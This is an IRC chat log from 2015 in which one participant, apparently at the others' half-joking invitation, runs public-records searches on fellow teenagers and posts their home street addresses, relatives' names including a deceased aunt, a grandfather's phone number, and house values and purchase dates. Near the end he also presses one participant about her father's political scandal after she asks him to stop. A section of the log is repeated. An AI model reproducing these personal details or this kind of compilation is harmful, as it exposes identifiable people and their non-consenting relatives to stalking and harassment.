[2015-03-12T22:56:37-0400] <fwilson> that's what i meant
[2015-03-12T22:56:44-0400] <fwilson> also the FCC makes it public for some reason
[2015-03-12T22:56:48-0400] <fwilson> i'm not sure what the logic behind that was
[2015-03-12T22:56:53-0400] <fwilson> but ok ¯\_(ツ)_/¯
[2015-03-12T22:56:54-0400] <+awe> Whois guard on all my domains is funny.
[2015-03-12T22:57:05-0400] <+awe> Because aaronweiss.us can't have it. :p
[2015-03-12T22:57:34-0400] <fwilson> lol
[2015-03-12T22:57:42-0400] <jwoglom> omg awe i know where you live!!1!
[2015-03-12T22:57:49-0400] <+awe> 9631 Boyett Ct, Fairfax, VA 22032.
[2015-03-12T22:57:50-0400] <fwilson> wait
[2015-03-12T22:57:58-0400] <jwoglom> that's actually not me, but close enough
[2015-03-12T22:57:58-0400] <fwilson> who's the one person who's on the network but not in this channel
[2015-03-12T22:58:15-0400] • awe: shrugs.
[2015-03-12T22:58:22-0400] <fwilson> also using gnutls over openssl
[2015-03-12T22:58:41-0400] <+awe> jwoglom: that's your aunt?
[2015-03-12T22:58:51-0400] <+awe> jwoglom: on your mom's side?
[2015-03-12T22:58:54-0400] <jwoglom> awe: yes, actually
[2015-03-12T22:58:57-0400] <fwilson> spooky
[2015-03-12T22:58:58-0400] <jwoglom> how do you know that :P
[2015-03-12T22:59:07-0400] <jwoglom> r u stalking me awe
[2015-03-12T22:59:09-0400] <+awe> Your mom's name is Eleni.
[2015-03-12T22:59:16-0400] <+awe> She has another sister named Georgia.
[2015-03-12T22:59:26-0400] <fwilson> but does not live in georgia
[2015-03-12T22:59:39-0400] <+awe> Your mom also has a sister who passed away.
[2015-03-12T22:59:41-0400] <jwoglom> correct
[2015-03-12T22:59:41-0400] <+awe> I'm sorry to hear that.
[2015-03-12T22:59:45-0400] <jwoglom> mhm
[2015-03-12T23:00:02-0400] <+awe> Cancer is rough.
[2015-03-12T23:00:10-0400] <fwilson> awe: ok that's actually kind of scary
[2015-03-12T23:00:10-0400] <Tamini> wait hm
[2015-03-12T23:00:15-0400] <jwoglom> one more aunt that you missed on my mom's side
[2015-03-12T23:00:18-0400] <Tamini> isnt that person in #rust
[2015-03-12T23:00:18-0400] <Tamini> o-o
[2015-03-12T23:00:21-0400] <jwoglom> er actually
[2015-03-12T23:00:26-0400] <jwoglom> no you mentioned her
[2015-03-12T23:00:51-0400] <+awe> Tamini: no, everyone in #rust is in here.
[2015-03-12T23:01:09-0400] <+awe> jwoglom: your grandmother's name is Estelle and your grandfather's name is Homer.
[2015-03-12T23:01:13-0400] <+awe> jwoglom: on your mom's side again, obvs.
[2015-03-12T23:01:17-0400] <jwoglom> awe: correct
[2015-03-12T23:01:25-0400] <+awe> and you have a cousin named Melina.
[2015-03-12T23:01:33-0400] <jwoglom> not a cousin
[2015-03-12T23:01:35-0400] <+awe> Who's your second cousin once removed.
[2015-03-12T23:01:37-0400] <jwoglom> cousin's daughter
[2015-03-12T23:01:42-0400] <+awe> She's your second cousin, once removed.
[2015-03-12T23:01:49-0400] <jwoglom> ok i suppose, lol
[2015-03-12T23:02:13-0400] <jwoglom> you should try my dad's side of the family
[2015-03-12T23:02:19-0400] <Tamini> hmm, weird
[2015-03-12T23:02:32-0400] <+awe> You live really close to your aunt.
[2015-03-12T23:02:34-0400] <+awe> Same street.
[2015-03-12T23:02:38-0400] <jwoglom> mhm
[2015-03-12T23:02:41-0400] <+awe> 9644 Boyett Court.
[2015-03-12T23:02:46-0400] <jwoglom> yes
[2015-03-12T23:02:57-0400] <+awe> Your dad is a CPA.
[2015-03-12T23:02:58-0400] <jwoglom> i have also lived in one other location
[2015-03-12T23:03:14-0400] <alokpathy> jwoglom: West Windsor, NJ?
[2015-03-12T23:03:20-0400] <jwoglom> alokpathy: no :P
[2015-03-12T23:03:29-0400] <alokpathy> All lies!
[2015-03-12T23:03:52-0400] <+awe> Well, your dad has lived in Fairfax, Arlington, and Reston VA.
[2015-03-12T23:04:09-0400] <fwilson> help how does battle hymn of the republic relate to abolition
[2015-03-12T23:04:12-0400] <+awe> As well as Little Rock, Arkansas, Jacksonville, Florida, and East Saint Louis, Illinois.
[2015-03-12T23:04:25-0400] <jwoglom> awe: second statement there is false
[2015-03-12T23:04:32-0400] <fwilson> rekt
[2015-03-12T23:04:38-0400] • awe: shrugs.
[2015-03-12T23:05:01-0400] <+awe> The other place you lived was Reston, right?
[2015-03-12T23:05:01-0400] <jwoglom> i actually kind of want to see the info you can find out, lol
[2015-03-12T23:05:06-0400] <jwoglom> feel free to keep going, awe
[2015-03-12T23:05:10-0400] <jwoglom> awe: no
[2015-03-12T23:05:10-0400] <+awe> 11328 Dockside Circle, Reston, VA?
[2015-03-12T23:05:17-0400] <jwoglom> that is my grandparents' house
[2015-03-12T23:05:33-0400] <+awe> Ah, your grandfather on your dad's side is James Woglom, too.
[2015-03-12T23:05:34-0400] <+awe> Neat.
[2015-03-12T23:05:40-0400] <fwilson> o_o
[2015-03-12T23:05:41-0400] <jwoglom> mhm
[2015-03-12T23:05:51-0400] <jwoglom> awe: with middle name..?
[2015-03-12T23:05:53-0400] <+awe> That explains why he's also lived in Summit, NJ and Medfield, MA.
[2015-03-12T23:05:54-0400] <+awe> Russell.
[2015-03-12T23:05:57-0400] <jwoglom> yup
[2015-03-12T23:06:02-0400] <fwilson> awe: how
[2015-03-12T23:06:08-0400] <jwoglom> the latter is where my dad grew up
[2015-03-12T23:06:10-0400] <+awe> His phone number is 703-715-0184.
[2015-03-12T23:06:17-0400] <bob_twinkles> goddamn
[2015-03-12T23:06:18-0400] <alokpathy> The recon though
[2015-03-12T23:06:20-0400] <Tamini> awe lol
[2015-03-12T23:06:22-0400] <Tamini> oh
[2015-03-12T23:06:23-0400] <Tamini> ooh*
[2015-03-12T23:06:24-0400] <jwoglom> it's ok
[2015-03-12T23:06:27-0400] <jwoglom> i'm enjoying being doxxed
[2015-03-12T23:06:29-0400] <Tamini> try someone more difficult next
[2015-03-12T23:06:42-0400] <jwoglom> both of my parents have really unique last names :P
[2015-03-12T23:06:43-0400] <Tamini> someone whose full name you actually dont know
[2015-03-12T23:06:44-0400] <alokpathy> HIs SSN :P
[2015-03-12T23:06:45-0400] <+awe> Tamini: you'd be the hardest because your name isn't really Ashley. 
[2015-03-12T23:06:55-0400] <Tamini> you should know my given name
[2015-03-12T23:07:00-0400] <Tamini> or it should otherwise be easy to find
[2015-03-12T23:07:01-0400] <+awe> I can find it easily.
[2015-03-12T23:07:03-0400] <alokpathy> Hyo Won?
[2015-03-12T23:07:04-0400] <+awe> It's on Facebook.
[2015-03-12T23:07:15-0400] <Tamini> it is.
[2015-03-12T23:07:23-0400] <Tamini> but most of my interesting family-stuff is in korean
[2015-03-12T23:07:24-0400] <fwilson> i'm a cook at kentucky fried chicken
[2015-03-12T23:07:28-0400] <Tamini> so thats going to be hard.
[2015-03-12T23:07:39-0400] <jwoglom> fwilson: already got a job, wow! :P
[2015-03-12T23:07:43-0400] <fwilson> jwoglom: no seriously
[2015-03-12T23:07:46-0400] <fwilson> look me up on linkedin
[2015-03-12T23:07:49-0400] <Tamini> my dad is very high-profile, though, so
[2015-03-12T23:07:50-0400] <jwoglom> yeah i noticed that before
[2015-03-12T23:07:52-0400] <jwoglom> lol
[2015-03-12T23:07:53-0400] <Tamini> if you knew korean, it'd be quite easy
[2015-03-12T23:08:07-0400] <+awe> Tamini: yeah, I know he's a politician.
[2015-03-12T23:08:15-0400] <+awe> Who fled the country after shady business.
[2015-03-12T23:08:20-0400] • awe: shifty-eyes.
[2015-03-12T23:08:28-0400] <fwilson> O_o
[2015-03-12T23:08:46-0400] <+awe> I wonder who would be the hardest to dox.
[2015-03-12T23:08:53-0400] <alokpathy> Do me!
[2015-03-12T23:08:54-0400] <Tamini> heh
[2015-03-12T23:08:57-0400] <jwoglom> awe: Michael Smith.
[2015-03-12T23:08:58-0400] <+awe> Iunno. Let's see what other interesting things I can find about the woggles.
[2015-03-12T23:08:59-0400] <Tamini> "fled the country"
[2015-03-12T23:09:01-0400] <fwilson> jwoglom: LOL
[2015-03-12T23:09:03-0400] <Tamini> try bob_twinkles
[2015-03-12T23:09:06-0400] <Tamini> he's interesting.
[2015-03-12T23:09:09-0400] <Tamini> also omg
[2015-03-12T23:09:10-0400] <bob_twinkles> I'm really easy to dox though
[2015-03-12T23:09:12-0400] <Tamini> i told you guys, right
[2015-03-12T23:09:16-0400] <fwilson> people have already doxxed me
[2015-03-12T23:09:18-0400] <fwilson> so
[2015-03-12T23:09:20-0400] <fwilson> ayy lmao
[2015-03-12T23:09:20-0400] <Tamini> I spent a while thinking that michael smith was NOT a real person
[2015-03-12T23:09:26-0400] <jwoglom> awe: go right ahead :P
[2015-03-12T23:09:34-0400] <jwoglom> i'm kind of curious to see what's public
[2015-03-12T23:09:36-0400] <bob_twinkles> since my real name and bob_twinkles are associated with my mozilla bugzilla account
[2015-03-12T23:09:46-0400] <+awe> bob_twinkles: isn't your name Reed?
[2015-03-12T23:09:55-0400] <jwoglom> 2/3 of my dad's siblings should be really easy to find, at least
[2015-03-12T23:09:55-0400] <bob_twinkles> yea
[2015-03-12T23:10:12-0400] <+awe> Reed koser.
[2015-03-12T23:10:17-0400] <fwilson> Eighth-grader Reed Koser, 14, gave some last-minute advice before the rocket was launched.
[2015-03-12T23:10:18-0400] <bob_twinkles> and my last name is pretty unique, at least when you're doing English-baised searches
[2015-03-12T23:10:18-0400] <fwilson> “If the grass lights on fire, everyone run over and stomp on it,” he said.
[2015-03-12T23:10:20-0400] <bob_twinkles> yep
[2015-03-12T23:10:27-0400] <fwilson> ok
[2015-03-12T23:10:28-0400] <+awe> You have a friend named Veda Prasad.
[2015-03-12T23:10:30-0400] <jwoglom> bob_twinkles: good advice.
[2015-03-12T23:10:30-0400] <Tamini> LOL
[2015-03-12T23:10:38-0400] <Tamini> hmm, no
[2015-03-12T23:10:40-0400] <bob_twinkles> awe: not really
[2015-03-12T23:10:43-0400] <Tamini> wait what
[2015-03-12T23:10:46-0400] <+awe> you know someone named Veda Prasad.
[2015-03-12T23:10:46-0400] <bob_twinkles> literally haven't talked to her... ever
[2015-03-12T23:10:50-0400] <bob_twinkles> yeah
[2015-03-12T23:10:59-0400] <bob_twinkles> that's... not a connection I was expecting TBH
[2015-03-12T23:11:04-0400] <Tamini> LOL
[2015-03-12T23:11:06-0400] <Tamini> how did he find that even
[2015-03-12T23:11:15-0400] <+awe> You're really boring because you have news articles about you.
[2015-03-12T23:11:26-0400] <bob_twinkles> the fact that I don't have a facebook account means a lot of the social connection algorithms are probably bork
[2015-03-12T23:11:27-0400] <bob_twinkles> really?
[2015-03-12T23:11:28-0400] <+awe> It's easy to find people who have news articles.
[2015-03-12T23:11:35-0400] <bob_twinkles> what the fuck did I do
[2015-03-12T23:11:38-0400] <bob_twinkles> I don't even know
[2015-03-12T23:11:40-0400] <+awe> It's the one fwilson quoted from.
[2015-03-12T23:11:47-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-12T23:11:48-0400] <bob_twinkles> oh, right
[2015-03-12T23:11:51-0400] <bob_twinkles> that
[2015-03-12T23:12:03-0400] <bob_twinkles> why am I still famous on the internet for being not shit at rocketry in 8th grade T_T
[2015-03-12T23:12:48-0400] <jwoglom> bob_twinkles: it's not a bad thing to be famous about :P
[2015-03-12T23:12:52-0400] <bob_twinkles> lol codesphere is the 5th link for my name on DDG
[2015-03-12T23:13:33-0400] <bob_twinkles> I think csssuf worked on that a bit after pilot actually, but it's still meh
[2015-03-12T23:13:38-0400] <Tamini> lol
[2015-03-12T23:13:49-0400] <Tamini> I'm pretty much ungoogle-able i think
[2015-03-12T23:13:51-0400] <Tamini> lemme check
[2015-03-12T23:14:01-0400] <Tamini> I'm really annoying to dox without my given name
[2015-03-12T23:14:04-0400] <jwoglom> well i mean, that's what you get for a common name
[2015-03-12T23:14:05-0400] <jwoglom> lol
[2015-03-12T23:14:10-0400] <Tamini> because there's a girl two years older than me named ashley kim
[2015-03-12T23:14:15-0400] <+awe> bob_twinkles: can I post address?
[2015-03-12T23:14:16-0400] <Tamini> who also did the longfellow -> tj track
[2015-03-12T23:14:23-0400] <Tamini> we can all access it
[2015-03-12T23:14:33-0400] <bob_twinkles> Tamini: also, you're a guild ward 2 character
[2015-03-12T23:14:37-0400] <fwilson> i'm really annoying because people love naming things after me
[2015-03-12T23:14:41-0400] <bob_twinkles> everybody TJ can, yeah
[2015-03-12T23:14:44-0400] <bob_twinkles> eh... sure
[2015-03-12T23:14:49-0400] <Tamini> yes, yes i am
[2015-03-12T23:14:51-0400] <bob_twinkles> obviously it's not difficult to find =P
[2015-03-12T23:14:53-0400] <+awe> Erm, I was wrong actually.
[2015-03-12T23:14:54-0400] <+awe> That's not it.
[2015-03-12T23:14:57-0400] <bob_twinkles> heh
[2015-03-12T23:14:58-0400] <+awe> I need a bit more time.
[2015-03-12T23:17:24-0400] <+awe> Your mother's name isn't Elizabeth, is it?
[2015-03-12T23:17:29-0400] <bob_twinkles> it is
[2015-03-12T23:17:35-0400] <+awe> And your dad is Munir?
[2015-03-12T23:17:50-0400] <bob_twinkles> lol someone at $GOVERNMENT can't hear
[2015-03-12T23:17:54-0400] <bob_twinkles> phonetically that's almost correct
[2015-03-12T23:17:54-0400] <LittleBobbyTables> I can
[2015-03-12T23:18:26-0400] <jwoglom> lol awe now i'm googling myself
[2015-03-12T23:18:37-0400] <jwoglom> apparently some blogpost I made got picked up on a spanish android site
[2015-03-12T23:18:57-0400] <fwilson> lol
[2015-03-12T23:19:04-0400] <+awe> bob_twinkles: Elsinore Drive?
[2015-03-12T23:19:06-0400] <+awe> erm
[2015-03-12T23:19:07-0400] <+awe> Avenue
[2015-03-12T23:19:11-0400] <bob_twinkles> yep
[2015-03-12T23:19:33-0400] <bob_twinkles> the internet is gr8 isn't it
[2015-03-12T23:19:42-0400] <LittleBobbyTables> bob_twinkles: go me Kappa
[2015-03-12T23:19:45-0400] <+awe> 1301 Elisnore Avenue
[2015-03-12T23:19:50-0400] <+awe> McLean, VA 22102
[2015-03-12T23:19:55-0400] <bob_twinkles> mhm
[2015-03-12T23:19:55-0400] <+awe> Dad's name is Ugur?
[2015-03-12T23:20:03-0400] <bob_twinkles> yeah, that's the correct spelling =P
[2015-03-12T23:20:03-0400] <LittleBobbyTables> Can I mail you a glitter bomb, bob_twinkles 
[2015-03-12T23:20:07-0400] <bob_twinkles> sure
[2015-03-12T23:20:08-0400] <+awe> Your home costs $812,780.
[2015-03-12T23:20:14-0400] <bob_twinkles> I probably won't be the one to open it =P
[2015-03-12T23:20:14-0400] <+awe> It was built in 1965.
[2015-03-12T23:20:16-0400] <alokpathy> Holy fuck
[2015-03-12T23:20:20-0400] <alokpathy> That's a lot of dough
[2015-03-12T23:20:22-0400] <bob_twinkles> NOVA dude
[2015-03-12T23:20:24-0400] <jwoglom> alokpathy: NOVA.
[2015-03-12T23:20:28-0400] <LittleBobbyTables> awe, wanna mail bob_twinkles a glitter bomb for me, and put my name on it?
[2015-03-12T23:20:29-0400] <bob_twinkles> I don't think we paid that much for it though
[2015-03-12T23:20:30-0400] <+awe> bob_twinkles: I don't know why he's surprised given where he lives.
[2015-03-12T23:20:39-0400] <+awe> bob_twinkles: My house was ~$750,000.
[2015-03-12T23:20:48-0400] <jwoglom> we have the highest income levels in the US
[2015-03-12T23:20:52-0400] <alokpathy> My house was ~500K
[2015-03-12T23:20:54-0400] <jwoglom> but really high property/house values
[2015-03-12T23:20:57-0400] <+awe> Well, we bought it for uhh...
[2015-03-12T23:21:00-0400] <+awe> $650k?
[2015-03-12T23:21:00-0400] <bob_twinkles> alokpathy: where do you live though
[2015-03-12T23:21:04-0400] <+awe> But we sold it for $725k.
[2015-03-12T23:21:08-0400] <alokpathy> bob_twinkles: West Windsor
[2015-03-12T23:21:10-0400] <alokpathy> NJ
[2015-03-12T23:21:11-0400] <+awe> And could've gone up more if we waited more.
[2015-03-12T23:21:12-0400] <alokpathy> 08550
[2015-03-12T23:21:12-0400] <Tamini> alokpathy 
[2015-03-12T23:21:13-0400] <bob_twinkles> cost of... everything in NOVA is stupid high
[2015-03-12T23:21:14-0400] <Tamini> you live like
[2015-03-12T23:21:15-0400] <+awe> bob_twinkles: It's a ritzy ass town.
[2015-03-12T23:21:18-0400] <Tamini> near princeton though
[2015-03-12T23:21:19-0400] <+awe> bob_twinkles: It's like NoVa.
[2015-03-12T23:21:24-0400] <+awe> bob_twinkles: it's very expensive.
[2015-03-12T23:21:25-0400] <LittleBobbyTables> I have one of the best income for cost of living in the nation.
[2015-03-12T23:21:26-0400] <Tamini> I'd assume it's a expensive neighborhood
[2015-03-12T23:21:40-0400] <LittleBobbyTables> states, that is.
[2015-03-12T23:22:00-0400] <+awe> bob_twinkles: Your parents bought your house for $517,000.
[2015-03-12T23:22:10-0400] <+awe> In September of 2012.
[2015-03-12T23:22:11-0400] <bob_twinkles> sounds about right?
[2015-03-12T23:22:14-0400] <bob_twinkles> ... no
[2015-03-12T23:22:31-0400] <+awe> Hold on, Zillow tends to produce duplicate records (sometimes with wrong dates)
[2015-03-12T23:22:37-0400] <bob_twinkles> that coulda been a mortgage refinance or similar or something
[2015-03-12T23:22:38-0400] <+awe> March 30th, 2001.
[2015-03-12T23:22:38-0400] <fwilson> oh man
[2015-03-12T23:22:41-0400] <fwilson> i need to plan To The Moon again
[2015-03-12T23:22:43-0400] <Tamini> havent you been living near that neighborhood for a while
[2015-03-12T23:22:43-0400] <fwilson> *play
[2015-03-12T23:22:43-0400] <Tamini> and lol
[2015-03-12T23:22:46-0400] <bob_twinkles> yeah, that sounds more right
[2015-03-12T23:22:48-0400] <fwilson> that was a good game.
[2015-03-12T23:22:48-0400] <Tamini> wait darn
[2015-03-12T23:22:51-0400] <Tamini> why is nezorg not here
[2015-03-12T23:22:54-0400] <+awe> Zillow does that a lot.
[2015-03-12T23:22:58-0400] <fwilson> has anyone in here played bird story
[2015-03-12T23:22:58-0400] <Tamini> i want good music for bgm while i do math
[2015-03-12T23:22:59-0400] <fwilson> and should i play it
[2015-03-12T23:23:09-0400] <Tamini> I think you should do homework :P
[2015-03-12T23:23:11-0400] <fwilson> Tamini: don't listen to the soundtrack from to the moon
[2015-03-12T23:23:20-0400] <fwilson> tfw too late to do physics
[2015-03-12T23:23:32-0400] <jwoglom> fwilson: -_-
[2015-03-12T23:23:36-0400] <jwoglom> you can still see the problems :P
[2015-03-12T23:23:36-0400] <Tamini> it's never too late to do physics
[2015-03-12T23:23:40-0400] <LittleBobbyTables> awe, when did I move into my house?
[2015-03-12T23:23:56-0400] <fwilson> jwoglom: ayy lmao
[2015-03-12T23:24:03-0400] <fwilson> but we can't get answers
[2015-03-12T23:24:05-0400] <+awe> bob_twinkles: you were a bit of a challenge actually.
[2015-03-12T23:24:06-0400] <alokpathy> awe: I wasn't aware that houses in our area cost that much.
[2015-03-12T23:24:09-0400] <jwoglom> fwilson: you can request the key?
[2015-03-12T23:24:13-0400] <fwilson> uh
[2015-03-12T23:24:15-0400] <bob_twinkles> heh
[2015-03-12T23:24:15-0400] <fwilson> we can?
[2015-03-12T23:24:17-0400] <fwilson> w
[2015-03-12T23:24:19-0400] <fwilson> :w
[2015-03-12T23:24:19-0400] <+awe> bob_twinkles: harder than woggles for sure.
[2015-03-12T23:24:21-0400] <fwilson> uh
[2015-03-12T23:24:27-0400] <jwoglom> fwilson: i can tell you've used webassign lots
[2015-03-12T23:24:29-0400] <+awe> bob_twinkles: it took two seconds to find woggles family.
[2015-03-12T23:24:33-0400] <bob_twinkles> the fact that nobody in my family facebooks probably helps
[2015-03-12T23:24:35-0400] <bob_twinkles> lol
[2015-03-12T23:24:36-0400] <+awe> bob_twinkles: I had to dig to find your family.
[2015-03-12T23:24:37-0400] <jwoglom> awe: it's because of my name
[2015-03-12T23:24:39-0400] <jwoglom> lol
[2015-03-12T23:24:42-0400] <+awe> jwoglom: dude, Reed Koser?
[2015-03-12T23:24:47-0400] <+awe> it's not exactly a common name.
[2015-03-12T23:24:54-0400] <jwoglom> awe: also, you never did list the people on my dad's side of the family
[2015-03-12T23:25:03-0400] <+awe> I said your dad's name didn't I?
[2015-03-12T23:25:05-0400] <+awe> And his dad?
[2015-03-12T23:25:11-0400] <jwoglom> yeah but find more people :P
[2015-03-12T23:25:13-0400] <LittleBobbyTables> I think awe is the only person that knows enough about me
[2015-03-12T23:25:17-0400] <+awe> LittleBobbyTables: Yeah, I do.
[2015-03-12T23:25:29-0400] <LittleBobbyTables> When did I move into my house? glhf
[2015-03-12T23:25:41-0400] <jwoglom> there are some woglom-named people i'm not related to accessible through google
[2015-03-12T23:25:44-0400] <Tamini> all i have is a full name
[2015-03-12T23:25:56-0400] <Tamini> and even that im not sure if i spell properly
[2015-03-12T23:25:57-0400] <Tamini> :P
[2015-03-12T23:26:02-0400] <LittleBobbyTables> ^_^
[2015-03-12T23:26:16-0400] <fwilson> YES
[2015-03-12T23:26:18-0400] <fwilson> DONE WITH HOMEWORK
[2015-03-12T23:26:25-0400] <jwoglom> fwilson: nice :P
[2015-03-12T23:26:28-0400] <jwoglom> now irc all night
[2015-03-12T23:26:29-0400] <fwilson> if it ever prints
[2015-03-12T23:26:31-0400] <jwoglom> as usual
[2015-03-12T23:26:31-0400] <fwilson> lol
[2015-03-12T23:26:59-0400] <bob_twinkles> and now we return to our regularly scheduled *sunglasses* programming
[2015-03-12T23:27:15-0400] <fwilson> rekt
[2015-03-12T23:27:20-0400] <fwilson> ok so should i buy A Bird Story
[2015-03-12T23:27:22-0400] <fwilson> has anyone played it
[2015-03-12T23:27:58-0400] <LittleBobbyTables> awe failed at me already
[2015-03-12T23:28:03-0400] <+awe> Well, my first try.
[2015-03-12T23:28:06-0400] <LittleBobbyTables> lol
[2015-03-12T23:28:09-0400] <+awe> There's a family that lives near him
[2015-03-12T23:28:14-0400] <+awe> Where the son has the exact name
[2015-03-12T23:28:34-0400] <LittleBobbyTables> Near used loosely
[2015-03-12T23:28:38-0400] <+awe> Well, it's not too far.
[2015-03-12T23:30:16-0400] <+awe> It's like an hour.
[2015-03-12T23:30:59-0400] <LittleBobbyTables> You have my HS
[2015-03-12T23:31:06-0400] <LittleBobbyTables> And my place of work
[2015-03-12T23:31:26-0400] <+awe> I know.
[2015-03-12T23:32:05-0400] <+awe> Neat, you're in the directory.
[2015-03-12T23:39:22-0400] <+awe> THERE ARE SO MANY PEOPLE WITH HIS LAST NAME IN HIS TOWN
[2015-03-12T23:39:23-0400] <+awe> HOLY FUCK
[2015-03-12T23:39:43-0400] <bob_twinkles> lol
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[2015-03-12T23:41:54-0400] <LittleBobbyTables> It's significantly harder to get my family because I don't have a Facebook, and none of them share anything in common with me besides blood.
[2015-03-12T23:47:39-0400] <+awe> Yeah, I take back what I said about Tamini being the hardest.
[2015-03-12T23:47:43-0400] <+awe> I forgot that LittleBobbyTables was here.
[2015-03-12T23:47:51-0400] <Tamini> lol
[2015-03-12T23:47:56-0400] <+awe> And I forgot about the complications associated with the personal details I do know about him.
[2015-03-12T23:48:30-0400] <+awe> It'll be easier in a couple years once LittleBobbyTables shows up himself in white pages and whatnot.
[2015-03-12T23:48:55-0400] <LittleBobbyTables> Yeah, I won't be here.
[2015-03-12T23:48:58-0400] <LittleBobbyTables> So GL with that.
[2015-03-12T23:49:14-0400] <+awe> Here as in where you live?
[2015-03-12T23:49:16-0400] <+awe> Or here as in this IRC?
[2015-03-12T23:49:26-0400] <LittleBobbyTables> Yes, possibly.
[2015-03-12T23:49:37-0400] <+awe> yes to which?
[2015-03-12T23:49:42-0400] <LittleBobbyTables> Respectively
[2015-03-12T23:49:47-0400] <+awe> Which one were you referring to though?
[2015-03-12T23:49:54-0400] <LittleBobbyTables> Both?
[2015-03-12T23:49:58-0400] <+awe> Ok.
[2015-03-12T23:50:24-0400] <LittleBobbyTables> Regardless, is there a way to install something on another partition without restarting, because I'm super fucking lazy
[2015-03-12T23:50:46-0400] <bob_twinkles> what OS?
[2015-03-12T23:50:51-0400] <bob_twinkles> /distro
[2015-03-12T23:51:10-0400] <LittleBobbyTables> some linux that I haven't decided on.
[2015-03-12T23:51:18-0400] <LittleBobbyTables> Maybe some ubuntu fork.
[2015-03-12T23:51:26-0400] <bob_twinkles> uh...
[2015-03-12T23:51:28-0400] <LittleBobbyTables> Main is windows
[2015-03-12T23:51:31-0400] <bob_twinkles> debboostrap might be able to?
[2015-03-12T23:51:35-0400] <bob_twinkles> oh, probably not then
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[2015-03-12T23:52:20-0400] <bob_twinkles> deboostrap is pretty neat if you've already got a linux system though =P
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[2015-03-12T23:57:53-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-12T23:26:25-0400] <jwoglom> fwilson: nice :P
[2015-03-12T23:26:28-0400] <jwoglom> now irc all night
[2015-03-12T23:26:29-0400] <fwilson> if it ever prints
[2015-03-12T23:26:31-0400] <jwoglom> as usual
[2015-03-12T23:26:31-0400] <fwilson> lol
[2015-03-12T23:26:59-0400] <bob_twinkles> and now we return to our regularly scheduled *sunglasses* programming
[2015-03-12T23:27:15-0400] <fwilson> rekt
[2015-03-12T23:27:20-0400] <fwilson> ok so should i buy A Bird Story
[2015-03-12T23:27:22-0400] <fwilson> has anyone played it
[2015-03-12T23:27:58-0400] <LittleBobbyTables> awe failed at me already
[2015-03-12T23:28:03-0400] <+awe> Well, my first try.
[2015-03-12T23:28:06-0400] <LittleBobbyTables> lol
[2015-03-12T23:28:09-0400] <+awe> There's a family that lives near him
[2015-03-12T23:28:14-0400] <+awe> Where the son has the exact name
[2015-03-12T23:28:34-0400] <LittleBobbyTables> Near used loosely
[2015-03-12T23:28:38-0400] <+awe> Well, it's not too far.
[2015-03-12T23:30:16-0400] <+awe> It's like an hour.
[2015-03-12T23:30:59-0400] <LittleBobbyTables> You have my HS
[2015-03-12T23:31:06-0400] <LittleBobbyTables> And my place of work
[2015-03-12T23:31:26-0400] <+awe> I know.
[2015-03-12T23:32:05-0400] <+awe> Neat, you're in the directory.
[2015-03-12T23:39:22-0400] <+awe> THERE ARE SO MANY PEOPLE WITH HIS LAST NAME IN HIS TOWN
[2015-03-12T23:39:23-0400] <+awe> HOLY FUCK
[2015-03-12T23:39:43-0400] <bob_twinkles> lol
[2015-03-12T23:41:54-0400] <LittleBobbyTables> It's significantly harder to get my family because I don't have a Facebook, and none of them share anything in common with me besides blood.
[2015-03-12T23:47:39-0400] <+awe> Yeah, I take back what I said about Tamini being the hardest.
[2015-03-12T23:47:43-0400] <+awe> I forgot that LittleBobbyTables was here.
[2015-03-12T23:47:51-0400] <Tamini> lol
[2015-03-12T23:47:56-0400] <+awe> And I forgot about the complications associated with the personal details I do know about him.
[2015-03-12T23:48:30-0400] <+awe> It'll be easier in a couple years once LittleBobbyTables shows up himself in white pages and whatnot.
[2015-03-12T23:48:55-0400] <LittleBobbyTables> Yeah, I won't be here.
[2015-03-12T23:48:58-0400] <LittleBobbyTables> So GL with that.
[2015-03-12T23:49:14-0400] <+awe> Here as in where you live?
[2015-03-12T23:49:16-0400] <+awe> Or here as in this IRC?
[2015-03-12T23:49:26-0400] <LittleBobbyTables> Yes, possibly.
[2015-03-12T23:49:37-0400] <+awe> yes to which?
[2015-03-12T23:49:42-0400] <LittleBobbyTables> Respectively
[2015-03-12T23:49:47-0400] <+awe> Which one were you referring to though?
[2015-03-12T23:49:54-0400] <LittleBobbyTables> Both?
[2015-03-12T23:49:58-0400] <+awe> Ok.
[2015-03-12T23:50:24-0400] <LittleBobbyTables> Regardless, is there a way to install something on another partition without restarting, because I'm super fucking lazy
[2015-03-12T23:50:46-0400] <bob_twinkles> what OS?
[2015-03-12T23:50:51-0400] <bob_twinkles> /distro
[2015-03-12T23:51:09-0400] <LittleBobbyTables> some linux that I haven't decided on.
[2015-03-12T23:51:18-0400] <LittleBobbyTables> Maybe some ubuntu fork.
[2015-03-12T23:51:26-0400] <bob_twinkles> uh...
[2015-03-12T23:51:28-0400] <LittleBobbyTables> Main is windows
[2015-03-12T23:51:31-0400] <bob_twinkles> debboostrap might be able to?
[2015-03-12T23:51:35-0400] <bob_twinkles> oh, probably not then
[2015-03-12T23:52:19-0400] <bob_twinkles> deboostrap is pretty neat if you've already got a linux system though =P
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[2015-03-13T00:04:24-0400] <+awe> Tamini: please tell me the scandal your dad was involved in wasn't the one where Samsung was bribing the government...
[2015-03-13T00:04:36-0400] <Tamini> nope
[2015-03-13T00:04:43-0400] <+awe> Was it the stock price manipulation?
[2015-03-13T00:04:58-0400] <Tamini> can we not discuss the details of like
[2015-03-13T00:05:06-0400] <Tamini> my dad's bad political decisions ._.
[2015-03-13T00:32:37-0400] <+awe> Who else can I stock?
[2015-03-13T00:32:38-0400] <+awe> Stalk.
[2015-03-13T00:32:39-0400] <+awe> lol.
[2015-03-13T00:33:29-0400] <+awe> I found fwilson's address and stuff.
[2015-03-13T00:33:34-0400] <+awe> It took a half second.
[2015-03-13T00:33:45-0400] <bob_twinkles> he did say it was really easy =P
[2015-03-13T00:34:29-0400] <+awe> His house is very not your house, bob_twinkles.
[2015-03-13T00:34:40-0400] <+awe> Roughly half the cost.
[2015-03-13T00:34:50-0400] <+awe> Less than half the cost, actually.
[2015-03-13T00:34:51-0400] <ubuntor> ooh, me next
[2015-03-13T00:35:10-0400] <bob_twinkles> heh
[2015-03-13T00:35:30-0400] <jwoglom> awe: his house is in middle-of-nowhere prince william county, though
[2015-03-13T00:35:32-0400] <jwoglom> that is why
[2015-03-13T00:35:36-0400] <+awe> Indeed.
[2015-03-13T00:35:45-0400] <jwoglom> it's all about location :P
[2015-03-13T00:38:38-0400] <+awe> Which also means that fwilson is presumably not rich like bob_twinkles is.
[2015-03-13T00:39:14-0400] <bob_twinkles> I literally don't money
